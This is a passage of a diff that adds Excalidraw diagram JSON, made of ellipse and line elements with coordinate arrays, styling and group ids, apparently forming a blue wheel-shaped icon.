141.60238323727657, + 101.06249747156008 + ], + [ + 141.89824784811324, + 99.78041749126845 + ], + [ + 142.16123861330124, + 98.56408520227347 + ], + [ + 142.25986015024668, + 97.24913137633314 + ], + [ + 142.22698630459826, + 95.76980832215017 + ], + [ + 141.96399553941015, + 94.32335911361568 + ], + [ + 141.61754657850102, + 92.86894601085285 + ], + [ + 125.20655322089708, + 21.714338124218898 + ], + [ + 124.76599048921341, + 20.072618407903377 + ], + [ + 124.38376824554192, + 19.06340431872691 + ], + [ + 124.01184243353873, + 18.238197777009873 + ], + [ + 123.37336544120267, + 17.21276339859596 + ], + [ + 122.02465894684885, + 15.62328622873229 + ], + [ + 120.63785195403861, + 14.502118215860854 + ], + [ + 118.81227267078474, + 13.28369303987536 + ], + [ + 77.42024701033073, + -6.098842532101777 + ], + [ + 65.25231331079256, + -12.186221128925578 + ], + [ + 52.319915086019115, + -18.346024798496497 + ], + [ + 50.67322631427004, + -19.224254356289546 + ], + [ + 49.25449262974608, + -19.881716307654493 + ], + [ + 48.11258503000735, + -20.193145653037867 + ], + [ + 46.693851345483445, + -20.400765216626873 + ], + [ + 44.89448179437995, + -20.504574998420953 + ], + [ + 43.02590572208019, + -20.262352174234 + ], + [ + 41.05351986798594, + -19.743303265261957 + ], + [ + 39.35796009867689, + -18.94742827150437 + ], + [ + 37.570652622333796, + -18.096276957151765 + ], + [ + 26.385882843735505, + -12.780742804946618 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1229, + "versionNonce": 446638304, + "index": "c1u68", + "isDeleted": false, + "id": "oYay1hFKpokxHW5J_bUHm", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2565.083349855522, + "y": -1300.5614738135641, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 105.0807270818616, + "height": 104.81686177674405, + "seed": 114847176, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2480, + "versionNonce": 1384582368, + "index": "c1u6G", + "isDeleted": false, + "id": "W9OX1-61FhbRR2voC-toH", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2517.187192674715, + "y": -1300.2243120671524, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 9.01641578772974, + "height": 21.27670350695626, + "seed": 1276605640, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18646640106484275, + -1.9177512563651806 + ], + [ + 0.5698776021606886, + -2.3888296947351635 + ], + [ + 0.8761208266162934, + -2.9070874591983986 + ], + [ + 1.1352497088479476, + -3.425345223661634 + ], + [ + 1.3472642488556514, + -4.061388843684855 + ], + [ + 1.4414929333035162, + -4.720989634820017 + ], + [ + 1.5019063946920996, + -5.366938982026471 + ], + [ + 1.0881353666239981, + -11.269883203947153 + ], + [ + 0.9607416499708755, + -11.956925749954895 + ], + [ + 0.8054493132803665, + -12.659756299553289 + ], + [ + 0.6876634577205294, + -13.366471432912327 + ], + [ + 0.5698776021606897, + -14.096743737383298 + ], + [ + 0.47564891771282186, + -14.89768755519009 + ], + [ + 0.475648917712823, + -15.533731175213312 + ], + [ + 0.47564891771282186, + -16.193331966348474 + ], + [ + 0.5450217343404684, + -16.896669248469923 + ], + [ + 0.6169919443846734, + -17.748105259738473 + ], + [ + 0.9232351688402451, + -18.525491906433327 + ], + [ + 1.394378591079599, + -19.137978355344607 + ], + [ + 1.9569017272653326, + -19.774511963951806 + ], + [ + 2.4544512911181964, + -20.221608226494958 + ], + [ + 3.066937740029368, + -20.504294279838508 + ], + [ + 3.6558670178285593, + -20.739865990958194 + ], + [ + 4.221239124515791, + -20.810537504294302 + ], + [ + 4.83372557342696, + -20.83409467540624 + ], + [ + 5.42265485122616, + -20.763423162070424 + ], + [ + 6.035164685542111, + -20.60321523555168 + ], + [ + 6.482727551264718, + -20.36295125316688 + ], + [ + 6.953870973504072, + -20.03315085759916 + ], + [ + 7.283671369071653, + -19.70335046203172 + ], + [ + 7.660586106863112, + -19.302878553128178 + ], + [ + 7.966829331318718, + -18.87884947311299 + ], + [ + 8.175326015107101, + -18.376013955965636 + ], + [ + 8.437972753558071, + -17.842333944186226 + ], + [ + 8.602872951341862, + -17.32407617972299 + ], + [ + 8.673544464677757, + -16.782261244147822 + ], + [ + 8.712163531105135, + -15.767695655907726 + ], + [ + 8.720658806901703, + -15.180373608533944 + ], + [ + 8.626430122453804, + -14.402986961838797 + ], + [ + 8.532201438005941, + -13.766943341815868 + ], + [ + 8.367301240222147, + -12.989556695120726 + ], + [ + 8.296629726886225, + -12.329955903985857 + ], + [ + 8.15528670021441, + -11.693912283962632 + ], + [ + 8.0052280507272, + -10.423098014058496 + ], + [ + 7.6846073574175735, + -4.984051340742575 + ], + [ + 7.731257620199003, + -4.179174699244547 + ], + [ + 7.860898572309022, + -3.326204103506149 + ], + [ + 8.296629726886225, + -2.62440140585484 + ], + [ + 8.954923976651804, + -2.0171777074092616 + ], + [ + 9.01641578772974, + 0.44260883155002056 + ], + [ + 1.0528839656115268, + 0.4036787076689101 + ] + ] + }, + { + "type": "line", + "version": 2533, + "versionNonce": 198340832, + "index": "c1u6K", + "isDeleted": false, + "id": "i2WgT9urY4MMSkFcCr3-B", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.8686267165409003, + "x": -2468.3731018518856, + "y": -1277.0893868332087, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 9.01641578772974, + "height": 21.27670350695626, + "seed": 1105042376, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18646640106484275, + -1.9177512563651806 + ], + [ + 0.5698776021606886, + -2.3888296947351635 + ], + [ + 0.8761208266162934, + -2.9070874591983986 + ], + [ + 1.1352497088479476, + -3.425345223661634 + ], + [ + 1.3472642488556514, + -4.061388843684855 + ], + [ + 1.4414929333035162, + -4.720989634820017 + ], + [ + 1.5019063946920996, + -5.366938982026471 + ], + [ + 1.0881353666239981, + -11.269883203947153 + ], + [ + 0.9607416499708755, + -11.956925749954895 + ], + [ + 0.8054493132803665, + -12.659756299553289 + ], + [ + 0.6876634577205294, + -13.366471432912327 + ], + [ + 0.5698776021606897, + -14.096743737383298 + ], + [ + 0.47564891771282186, + -14.89768755519009 + ], + [ + 0.475648917712823, + -15.533731175213312 + ], + [ + 0.47564891771282186, + -16.193331966348474 + ], + [ + 0.5450217343404684, + -16.896669248469923 + ], + [ + 0.6169919443846734, + -17.748105259738473 + ], + [ + 0.9232351688402451, + -18.525491906433327 + ], + [ + 1.394378591079599, + -19.137978355344607 + ], + [ + 1.9569017272653326, + -19.774511963951806 + ], + [ + 2.4544512911181964, + -20.221608226494958 + ], + [ + 3.066937740029368, + -20.504294279838508 + ], + [ + 3.6558670178285593, + -20.739865990958194 + ], + [ + 4.221239124515791, + -20.810537504294302 + ], + [ + 4.83372557342696, + -20.83409467540624 + ], + [ + 5.42265485122616, + -20.763423162070424 + ], + [ + 6.035164685542111, + -20.60321523555168 + ], + [ + 6.482727551264718, + -20.36295125316688 + ], + [ + 6.953870973504072, + -20.03315085759916 + ], + [ + 7.283671369071653, + -19.70335046203172 + ], + [ + 7.660586106863112, + -19.302878553128178 + ], + [ + 7.966829331318718, + -18.87884947311299 + ], + [ + 8.175326015107101, + -18.376013955965636 + ], + [ + 8.437972753558071, + -17.842333944186226 + ], + [ + 8.602872951341862, + -17.32407617972299 + ], + [ + 8.673544464677757, + -16.782261244147822 + ], + [ + 8.712163531105135, + -15.767695655907726 + ], + [ + 8.720658806901703, + -15.180373608533944 + ], + [ + 8.626430122453804, + -14.402986961838797 + ], + [ + 8.532201438005941, + -13.766943341815868 + ], + [ + 8.367301240222147, + -12.989556695120726 + ], + [ + 8.296629726886225, + -12.329955903985857 + ], + [ + 8.15528670021441, + -11.693912283962632 + ], + [ + 8.0052280507272, + -10.423098014058496 + ], + [ + 7.6846073574175735, + -4.984051340742575 + ], + [ + 7.731257620199003, + -4.179174699244547 + ], + [ + 7.860898572309022, + -3.326204103506149 + ], + [ + 8.296629726886225, + -2.62440140585484 + ], + [ + 8.954923976651804, + -2.0171777074092616 + ], + [ + 9.01641578772974, + 0.44260883155002056 + ], + [ + 1.0528839656115268, + 0.4036787076689101 + ] + ] + }, + { + "type": "line", + "version": 2554, + "versionNonce": 1309758688, + "index": "c1u6O", + "isDeleted": false, + "id": "lsZvVvRQgY6nI6U-dgSFj", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.7778883656625375, + "x": -2456.545072462168, + "y": -1224.249215405767, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 9.01641578772974, + "height": 21.27670350695626, + "seed": 172417736, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18646640106484275, + -1.9177512563651806 + ], + [ + 0.5698776021606886, + -2.3888296947351635 + ], + [ + 0.8761208266162934, + -2.9070874591983986 + ], + [ + 1.1352497088479476, + -3.425345223661634 + ], + [ + 1.3472642488556514, + -4.061388843684855 + ], + [ + 1.4414929333035162, + -4.720989634820017 + ], + [ + 1.5019063946920996, + -5.366938982026471 + ], + [ + 1.0881353666239981, + -11.269883203947153 + ], + [ + 0.9607416499708755, + -11.956925749954895 + ], + [ + 0.8054493132803665, + -12.659756299553289 + ], + [ + 0.6876634577205294, + -13.366471432912327 + ], + [ + 0.5698776021606897, + -14.096743737383298 + ], + [ + 0.47564891771282186, + -14.89768755519009 + ], + [ + 0.475648917712823, + -15.533731175213312 + ], + [ + 0.47564891771282186, + -16.193331966348474 + ], + [ + 0.5450217343404684, + -16.896669248469923 + ], + [ + 0.6169919443846734, + -17.748105259738473 + ], + [ + 0.9232351688402451, + -18.525491906433327 + ], + [ + 1.394378591079599, + -19.137978355344607 + ], + [ + 1.9569017272653326, + -19.774511963951806 + ], + [ + 2.4544512911181964, + -20.221608226494958 + ], + [ + 3.066937740029368, + -20.504294279838508 + ], + [ + 3.6558670178285593, + -20.739865990958194 + ], + [ + 4.221239124515791, + -20.810537504294302 + ], + [ + 4.83372557342696, + -20.83409467540624 + ], + [ + 5.42265485122616, + -20.763423162070424 + ], + [ + 6.035164685542111, + -20.60321523555168 + ], + [ + 6.482727551264718, + -20.36295125316688 + ], + [ + 6.953870973504072, + -20.03315085759916 + ], + [ + 7.283671369071653, + -19.70335046203172 + ], + [ + 7.660586106863112, + -19.302878553128178 + ], + [ + 7.966829331318718, + -18.87884947311299 + ], + [ + 8.175326015107101, + -18.376013955965636 + ], + [ + 8.437972753558071, + -17.842333944186226 + ], + [ + 8.602872951341862, + -17.32407617972299 + ], + [ + 8.673544464677757, + -16.782261244147822 + ], + [ + 8.712163531105135, + -15.767695655907726 + ], + [ + 8.720658806901703, + -15.180373608533944 + ], + [ + 8.626430122453804, + -14.402986961838797 + ], + [ + 8.532201438005941, + -13.766943341815868 + ], + [ + 8.367301240222147, + -12.989556695120726 + ], + [ + 8.296629726886225, + -12.329955903985857 + ], + [ + 8.15528670021441, + -11.693912283962632 + ], + [ + 8.0052280507272, + -10.423098014058496 + ], + [ + 7.6846073574175735, + -4.984051340742575 + ], + [ + 7.731257620199003, + -4.179174699244547 + ], + [ + 7.860898572309022, + -3.326204103506149 + ], + [ + 8.296629726886225, + -2.62440140585484 + ], + [ + 8.954923976651804, + -2.0171777074092616 + ], + [ + 9.01641578772974, + 0.44260883155002056 + ], + [ + 1.0528839656115268, + 0.4036787076689101 + ] + ] + }, + { + "type": "line", + "version": 2600, + "versionNonce": 785627360, + "index": "c1u6V", + "isDeleted": false, + "id": "igfKbJ-rwaYBORi98HOfa", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6970035598078645, + "x": -2490.0458085614846, + "y": -1181.8355703479197, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 9.01641578772974, + "height": 21.27670350695626, + "seed": 602884552, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18646640106484275, + -1.9177512563651806 + ], + [ + 0.5698776021606886, + -2.3888296947351635 + ], + [ + 0.8761208266162934, + -2.9070874591983986 + ], + [ + 1.1352497088479476, + -3.425345223661634 + ], + [ + 1.3472642488556514, + -4.061388843684855 + ], + [ + 1.4414929333035162, + -4.720989634820017 + ], + [ + 1.5019063946920996, + -5.366938982026471 + ], + [ + 1.0881353666239981, + -11.269883203947153 + ], + [ + 0.9607416499708755, + -11.956925749954895 + ], + [ + 0.8054493132803665, + -12.659756299553289 + ], + [ + 0.6876634577205294, + -13.366471432912327 + ], + [ + 0.5698776021606897, + -14.096743737383298 + ], + [ + 0.47564891771282186, + -14.89768755519009 + ], + [ + 0.475648917712823, + -15.533731175213312 + ], + [ + 0.47564891771282186, + -16.193331966348474 + ], + [ + 0.5450217343404684, + -16.896669248469923 + ], + [ + 0.6169919443846734, + -17.748105259738473 + ], + [ + 0.9232351688402451, + -18.525491906433327 + ], + [ + 1.394378591079599, + -19.137978355344607 + ], + [ + 1.9569017272653326, + -19.774511963951806 + ], + [ + 2.4544512911181964, + -20.221608226494958 + ], + [ + 3.066937740029368, + -20.504294279838508 + ], + [ + 3.6558670178285593, + -20.739865990958194 + ], + [ + 4.221239124515791, + -20.810537504294302 + ], + [ + 4.83372557342696, + -20.83409467540624 + ], + [ + 5.42265485122616, + -20.763423162070424 + ], + [ + 6.035164685542111, + -20.60321523555168 + ], + [ + 6.482727551264718, + -20.36295125316688 + ], + [ + 6.953870973504072, + -20.03315085759916 + ], + [ + 7.283671369071653, + -19.70335046203172 + ], + [ + 7.660586106863112, + -19.302878553128178 + ], + [ + 7.966829331318718, + -18.87884947311299 + ], + [ + 8.175326015107101, + -18.376013955965636 + ], + [ + 8.437972753558071, + -17.842333944186226 + ], + [ + 8.602872951341862, + -17.32407617972299 + ], + [ + 8.673544464677757, + -16.782261244147822 + ], + [ + 8.712163531105135, + -15.767695655907726 + ], + [ + 8.720658806901703, + -15.180373608533944 + ], + [ + 8.626430122453804, + -14.402986961838797 + ], + [ + 8.532201438005941, + -13.766943341815868 + ], + [ + 8.367301240222147, + -12.989556695120726 + ], + [ + 8.296629726886225, + -12.329955903985857 + ], + [ + 8.15528670021441, + -11.693912283962632 + ], + [ + 8.0052280507272, + -10.423098014058496 + ], + [ + 7.6846073574175735, + -4.984051340742575 + ], + [ + 7.731257620199003, + -4.179174699244547 + ], + [ + 7.860898572309022, + -3.326204103506149 + ], + [ + 8.296629726886225, + -2.62440140585484 + ], + [ + 8.954923976651804, + -2.0171777074092616 + ], + [ + 9.01641578772974, + 0.44260883155002056 + ], + [ + 1.0528839656115268, + 0.4036787076689101 + ] + ] + }, + { + "type": "line", + "version": 2578, + "versionNonce": 296328416, + "index": "c1u6Z", + "isDeleted": false, + "id": "zyFSvwaOVXZ82YVikHWik", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.583969694432408, + "x": -2543.9230521269, + "y": -1181.6884091786703, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 9.01641578772974, + "height": 21.27670350695626, + "seed": 1509085384, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18646640106484275, + -1.9177512563651806 + ], + [ + 0.5698776021606886, + -2.3888296947351635 + ], + [ + 0.8761208266162934, + -2.9070874591983986 + ], + [ + 1.1352497088479476, + -3.425345223661634 + ], + [ + 1.3472642488556514, + -4.061388843684855 + ], + [ + 1.4414929333035162, + -4.720989634820017 + ], + [ + 1.5019063946920996, + -5.366938982026471 + ], + [ + 1.0881353666239981, + -11.269883203947153 + ], + [ + 0.9607416499708755, + -11.956925749954895 + ], + [ + 0.8054493132803665, + -12.659756299553289 + ], + [ + 0.6876634577205294, + -13.366471432912327 + ], + [ + 0.5698776021606897, + -14.096743737383298 + ], + [ + 0.47564891771282186, + -14.89768755519009 + ], + [ + 0.475648917712823, + -15.533731175213312 + ], + [ + 0.47564891771282186, + -16.193331966348474 + ], + [ + 0.5450217343404684, + -16.896669248469923 + ], + [ + 0.6169919443846734, + -17.748105259738473 + ], + [ + 0.9232351688402451, + -18.525491906433327 + ], + [ + 1.394378591079599, + -19.137978355344607 + ], + [ + 1.9569017272653326, + -19.774511963951806 + ], + [ + 2.4544512911181964, + -20.221608226494958 + ], + [ + 3.066937740029368, + -20.504294279838508 + ], + [ + 3.6558670178285593, + -20.739865990958194 + ], + [ + 4.221239124515791, + -20.810537504294302 + ], + [ + 4.83372557342696, + -20.83409467540624 + ], + [ + 5.42265485122616, + -20.763423162070424 + ], + [ + 6.035164685542111, + -20.60321523555168 + ], + [ + 6.482727551264718, + -20.36295125316688 + ], + [ + 6.953870973504072, + -20.03315085759916 + ], + [ + 7.283671369071653, + -19.70335046203172 + ], + [ + 7.660586106863112, + -19.302878553128178 + ], + [ + 7.966829331318718, + -18.87884947311299 + ], + [ + 8.175326015107101, + -18.376013955965636 + ], + [ + 8.437972753558071, + -17.842333944186226 + ], + [ + 8.602872951341862, + -17.32407617972299 + ], + [ + 8.673544464677757, + -16.782261244147822 + ], + [ + 8.712163531105135, + -15.767695655907726 + ], + [ + 8.720658806901703, + -15.180373608533944 + ], + [ + 8.626430122453804, + -14.402986961838797 + ], + [ + 8.532201438005941, + -13.766943341815868 + ], + [ + 8.367301240222147, + -12.989556695120726 + ], + [ + 8.296629726886225, + -12.329955903985857 + ], + [ + 8.15528670021441, + -11.693912283962632 + ], + [ + 8.0052280507272, + -10.423098014058496 + ], + [ + 7.6846073574175735, + -4.984051340742575 + ], + [ + 7.731257620199003, + -4.179174699244547 + ], + [ + 7.860898572309022, + -3.326204103506149 + ], + [ + 8.296629726886225, + -2.62440140585484 + ], + [ + 8.954923976651804, + -2.0171777074092616 + ], + [ + 9.01641578772974, + 0.44260883155002056 + ], + [ + 1.0528839656115268, + 0.4036787076689101 + ] + ] + }, + { + "type": "line", + "version": 2564, + "versionNonce": 1747124448, + "index": "c1u6d", + "isDeleted": false, + "id": "XU51rPGWTr26qmo3Kay_b", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.456659860702139, + "x": -2577.9423242308508, + "y": -1223.919935310282, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 9.01641578772974, + "height": 21.27670350695626, + "seed": 871200712, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18646640106484275, + -1.9177512563651806 + ], + [ + 0.5698776021606886, + -2.3888296947351635 + ], + [ + 0.8761208266162934, + -2.9070874591983986 + ], + [ + 1.1352497088479476, + -3.425345223661634 + ], + [ + 1.3472642488556514, + -4.061388843684855 + ], + [ + 1.4414929333035162, + -4.720989634820017 + ], + [ + 1.5019063946920996, + -5.366938982026471 + ], + [ + 1.0881353666239981, + -11.269883203947153 + ], + [ + 0.9607416499708755, + -11.956925749954895 + ], + [ + 0.8054493132803665, + -12.659756299553289 + ], + [ + 0.6876634577205294, + -13.366471432912327 + ], + [ + 0.5698776021606897, + -14.096743737383298 + ], + [ + 0.47564891771282186, + -14.89768755519009 + ], + [ + 0.475648917712823, + -15.533731175213312 + ], + [ + 0.47564891771282186, + -16.193331966348474 + ], + [ + 0.5450217343404684, + -16.896669248469923 + ], + [ + 0.6169919443846734, + -17.748105259738473 + ], + [ + 0.9232351688402451, + -18.525491906433327 + ], + [ + 1.394378591079599, + -19.137978355344607 + ], + [ + 1.9569017272653326, + -19.774511963951806 + ], + [ + 2.4544512911181964, + -20.221608226494958 + ], + [ + 3.066937740029368, + -20.504294279838508 + ], + [ + 3.6558670178285593, + -20.739865990958194 + ], + [ + 4.221239124515791, + -20.810537504294302 + ], + [ + 4.83372557342696, + -20.83409467540624 + ], + [ + 5.42265485122616, + -20.763423162070424 + ], + [ + 6.035164685542111, + -20.60321523555168 + ], + [ + 6.482727551264718, + -20.36295125316688 + ], + [ + 6.953870973504072, + -20.03315085759916 + ], + [ + 7.283671369071653, + -19.70335046203172 + ], + [ + 7.660586106863112, + -19.302878553128178 + ], + [ + 7.966829331318718, + -18.87884947311299 + ], + [ + 8.175326015107101, + -18.376013955965636 + ], + [ + 8.437972753558071, + -17.842333944186226 + ], + [ + 8.602872951341862, + -17.32407617972299 + ], + [ + 8.673544464677757, + -16.782261244147822 + ], + [ + 8.712163531105135, + -15.767695655907726 + ], + [ + 8.720658806901703, + -15.180373608533944 + ], + [ + 8.626430122453804, + -14.402986961838797 + ], + [ + 8.532201438005941, + -13.766943341815868 + ], + [ + 8.367301240222147, + -12.989556695120726 + ], + [ + 8.296629726886225, + -12.329955903985857 + ], + [ + 8.15528670021441, + -11.693912283962632 + ], + [ + 8.0052280507272, + -10.423098014058496 + ], + [ + 7.6846073574175735, + -4.984051340742575 + ], + [ + 7.731257620199003, + -4.179174699244547 + ], + [ + 7.860898572309022, + -3.326204103506149 + ], + [ + 8.296629726886225, + -2.62440140585484 + ], + [ + 8.954923976651804, + -2.0171777074092616 + ], + [ + 9.01641578772974, + 0.44260883155002056 + ], + [ + 1.0528839656115268, + 0.4036787076689101 + ] + ] + }, + { + "type": "line", + "version": 2537, + "versionNonce": 1909449952, + "index": "c1u6l", + "isDeleted": false, + "id": "MWnfTJbWBHSwcY6QnbwDP", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.358545231943218, + "x": -2565.8271096142553, + "y": -1276.9073866449635, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 9.01641578772974, + "height": 21.27670350695626, + "seed": 1710964424, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18646640106484275, + -1.9177512563651806 + ], + [ + 0.5698776021606886, + -2.3888296947351635 + ], + [ + 0.8761208266162934, + -2.9070874591983986 + ], + [ + 1.1352497088479476, + -3.425345223661634 + ], + [ + 1.3472642488556514, + -4.061388843684855 + ], + [ + 1.4414929333035162, + -4.720989634820017 + ], + [ + 1.5019063946920996, + -5.366938982026471 + ], + [ + 1.0881353666239981, + -11.269883203947153 + ], + [ + 0.9607416499708755, + -11.956925749954895 + ], + [ + 0.8054493132803665, + -12.659756299553289 + ], + [ + 0.6876634577205294, + -13.366471432912327 + ], + [ + 0.5698776021606897, + -14.096743737383298 + ], + [ + 0.47564891771282186, + -14.89768755519009 + ], + [ + 0.475648917712823, + -15.533731175213312 + ], + [ + 0.47564891771282186, + -16.193331966348474 + ], + [ + 0.5450217343404684, + -16.896669248469923 + ], + [ + 0.6169919443846734, + -17.748105259738473 + ], + [ + 0.9232351688402451, + -18.525491906433327 + ], + [ + 1.394378591079599, + -19.137978355344607 + ], + [ + 1.9569017272653326, + -19.774511963951806 + ], + [ + 2.4544512911181964, + -20.221608226494958 + ], + [ + 3.066937740029368, + -20.504294279838508 + ], + [ + 3.6558670178285593, + -20.739865990958194 + ], + [ + 4.221239124515791, + -20.810537504294302 + ], + [ + 4.83372557342696, + -20.83409467540624 + ], + [ + 5.42265485122616, + -20.763423162070424 + ], + [ + 6.035164685542111, + -20.60321523555168 + ], + [ + 6.482727551264718, + -20.36295125316688 + ], + [ + 6.953870973504072, + -20.03315085759916 + ], + [ + 7.283671369071653, + -19.70335046203172 + ], + [ + 7.660586106863112, + -19.302878553128178 + ], + [ + 7.966829331318718, + -18.87884947311299 + ], + [ + 8.175326015107101, + -18.376013955965636 + ], + [ + 8.437972753558071, + -17.842333944186226 + ], + [ + 8.602872951341862, + -17.32407617972299 + ], + [ + 8.673544464677757, + -16.782261244147822 + ], + [ + 8.712163531105135, + -15.767695655907726 + ], + [ + 8.720658806901703, + -15.180373608533944 + ], + [ + 8.626430122453804, + -14.402986961838797 + ], + [ + 8.532201438005941, + -13.766943341815868 + ], + [ + 8.367301240222147, + -12.989556695120726 + ], + [ + 8.296629726886225, + -12.329955903985857 + ], + [ + 8.15528670021441, + -11.693912283962632 + ], + [ + 8.0052280507272, + -10.423098014058496 + ], + [ + 7.6846073574175735, + -4.984051340742575 + ], + [ + 7.731257620199003, + -4.179174699244547 + ], + [ + 7.860898572309022, + -3.326204103506149 + ], + [ + 8.296629726886225, + -2.62440140585484 + ], + [ + 8.954923976651804, + -2.0171777074092616 + ], + [ + 9.01641578772974, + 0.44260883155002056 + ], + [ + 1.0528839656115268, + 0.4036787076689101 + ] + ] + }, + { + "type": "line", + "version": 1401, + "versionNonce": 2084587744, + "index": "c1u6p", + "isDeleted": false, + "id": "BOIweBZzYnX7ohkQUJZb8", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2518.407233308375, + "y": -1252.5102098103007, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 14.491397953544213, + "height": 13.968871585027065, + "seed": 1085810120, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.1946107477723227, + 2.717137116289667 + ], + [ + -0.6967018246896197, + 8.952618447261756 + ], + [ + 5.016253137765315, + 11.704590654785823 + ], + [ + 10.764043191454713, + 8.987453538496448 + ], + [ + 12.296787205771894, + 2.8216423899931744 + ], + [ + 8.290751713806534, + -2.1946107477721393 + ], + [ + 1.7069194704895687, + -2.2642809302412403 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1658, + "versionNonce": 587476192, + "index": "c1u6t", + "isDeleted": false, + "id": "qip5Th1PoYgrD16REzxwN", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2508.03760661271, + "y": -1286.711411618121, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.87263667208635, + "height": 24.363244708100275, + "seed": 557853896, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1537257912289132, + 18.542021644750434 + ], + [ + 1.4142056093021882, + 19.590243476578788 + ], + [ + 1.7732035637057777, + 20.308239385385907 + ], + [ + 2.311700495311232, + 20.87665281319177 + ], + [ + 3.179278885119924, + 21.295483759995797 + ], + [ + 3.9870242825280577, + 21.44506624099733 